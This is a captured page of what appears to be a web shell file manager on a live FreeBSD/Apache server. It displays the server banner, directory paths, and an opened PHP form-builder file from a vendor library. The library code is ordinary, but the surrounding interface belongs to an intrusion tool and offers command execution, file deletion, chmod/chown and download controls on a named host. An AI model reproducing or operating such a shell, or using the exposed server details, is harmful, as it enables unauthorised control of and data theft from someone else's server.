TYPE-0 PERFECT SEIHA
Server Info:
FreeBSD scimitar.blueboard.cz 13.5-STABLE FreeBSD 13.5-STABLE stable/13-4f2925105 GENERIC amd64
Software:
Apache
User:
www
Crot
Crot File
Crot Dir
Crot Command
[LockSelf]
[HOME]
data
www
19068
fszoo_net
www
api
2
root
vendor
teze
teze
src
form
src
Forms
Show Hidden Files
Edit File: /data/www/19068/fszoo_net/www/api/2/root/vendor/teze/teze/src/form/src/Forms/ControlBuilder.php
<?php /** * Copyright (c) Jan Pospisil (http://www.jan-pospisil.cz) */ namespace Teze\Forms; use Nette\Forms\Container; use Nette\Utils\Html; use Nette\Utils\Random; use Nette\Utils\Strings; use Teze\Application\UI\Form\Form; use Teze\Forms\Controls\Date; use Teze\Forms\Controls\HtmlControl; use Teze\Forms\Controls\TextInput; /** * ContainerBuilder * @author Jan Pospisil */ class ControlBuilder extends \Nette\Object implements \ArrayAccess { /** * @var Container */ private $container; public function __construct(){ $this->container = new Container(); } public function addHtml(Html $html, $label = NULL){ return $this[Random::generate()] = new HtmlControl($html, $label); } public function addText($name, $label = NULL, $cols = NULL, $maxLength = NULL){ $control = new TextInput($label, $maxLength); $control->setAttribute('size', $cols); return $this[$name] = $control; } public function addDate($name, $label = NULL, \DateTime $min = NULL, \DateTime $max = NULL){ $control = new Date($label, $min, $max); return $this[$name] = $control; } public function addUrl($name, $label = NULL, $cols = NULL, $maxLength = NULL){ return $this->addText($name, $label, $cols, $maxLength); } public function addNumber($name, $label = NULL, $min = NULL, $max = NULL, $step = 1){ $return = $this->addText($name, $label); $return->addCondition(Form::FILLED) ->addRule(Form::INTEGER); $return->setAttribute('class', 'number'); return $return; } public function addPassword($name, $label = NULL, $cols = NULL, $maxLength = NULL){ return $this->container->addPassword($name, $label, $cols, $maxLength); } public function addTextArea($name, $label = NULL, $cols = NULL, $rows = NULL) { return $this->container->addTextArea($name, $label, $cols, $rows); } public function addUpload($name, $label = NULL, $multiple = FALSE) { return $this->container->addUpload($name, $label, $multiple); } public function addHidden($name, $default = NULL) { return $this->container->addHidden($name, $default); } public function addCheckbox($name, $caption = NULL) { return $this->container->addCheckbox($name, $caption); } public function addRadioList($name, $label = NULL, array $items = NULL) { return $this->container->addRadioList($name, $label, $items); } public function addCheckboxList($name, $label = NULL, array $items = NULL) { return $this->container->addCheckboxList($name, $label, $items); } public function addSelect($name, $label = NULL, array $items = NULL, $size = NULL){ return $this->container->addSelect($name, $label, $items, $size); } public function addMultiSelect($name, $label = NULL, array $items = NULL, $size = NULL) { return $this->container->addMultiSelect($name, $label, $items, $size); } public function addSubmit($name, $caption = NULL) { return $this->container->addSubmit($name, $caption); } public function addButton($name, $caption = NULL) { return $this->container->addButton($name, $caption); } public function addImage($name, $src = NULL, $alt = NULL) { return $this->addImage($name, $src, $alt); } /********************* interface \ArrayAccess ****************d*g**/ public function offsetSet($name, $component) { $this->container->addComponent($component, $name); } public function offsetGet($name) { return $this->container->getComponent($name, TRUE); } public function offsetExists($name) { return $this->container->getComponent($name, FALSE) !== NULL; } public function offsetUnset($name) { $component = $this->container->getComponent($name, FALSE); if ($component !== NULL) { $this->container->removeComponent($component); } } public function getContainer(){ return $this->container; } }
Crotin
Name
Size
Permissions
Modified
User/Group
Controls
-
0755
2016-03-05 11:31:05
Unknown/Unknown
ControlBuilder.php
3766
0644
2016-03-05 11:28:52
Unknown/Unknown
Helpers.php
1431
0644
2016-03-05 11:28:52
Unknown/Unknown
ControlBuilderFactory.php
260
0644
2016-03-05 11:28:52
Unknown/Unknown
NGANU
Rename
Hapus
Chmod
Chown
Touch
Zip
Unzip
Download
Crotin